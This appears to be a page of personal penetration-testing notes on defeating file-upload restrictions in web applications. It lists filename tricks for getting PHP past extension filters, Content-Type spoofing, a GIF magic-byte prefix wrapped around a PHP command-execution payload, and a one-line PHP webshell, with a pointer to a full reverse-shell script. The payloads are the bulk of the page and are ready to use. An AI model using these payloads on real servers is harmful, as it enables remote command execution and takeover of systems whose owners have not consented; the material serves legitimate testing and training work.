> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# File Upload

## Extension Bypass

Servers often block `.php` but accept alternate extensions that the runtime still executes: try variations until one passes the filter.

```wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
shell.php → shell.php5, shell.phtml, shell.pHp, shell.php.jpg
shell.jpg.php
shell.php%00.jpg
```

## MIME Type Bypass

Change Content-Type to `image/jpeg` in Burp: many validators check only the header, not the actual file content.

## Magic Bytes Bypass

Prepend a valid image magic byte sequence before the PHP payload to fool file-type validators that read the first few bytes.

```wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
GIF89a; <?php system($_GET['cmd']); ?>
```

## Webshells

Upload a webshell to get command execution: use the minimal version for stealth, or a full reverse shell when you need an interactive session.

```php wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
<?php system($_GET['cmd']); ?>
# Full shell: /usr/share/webshells/php/php-reverse-shell.php
```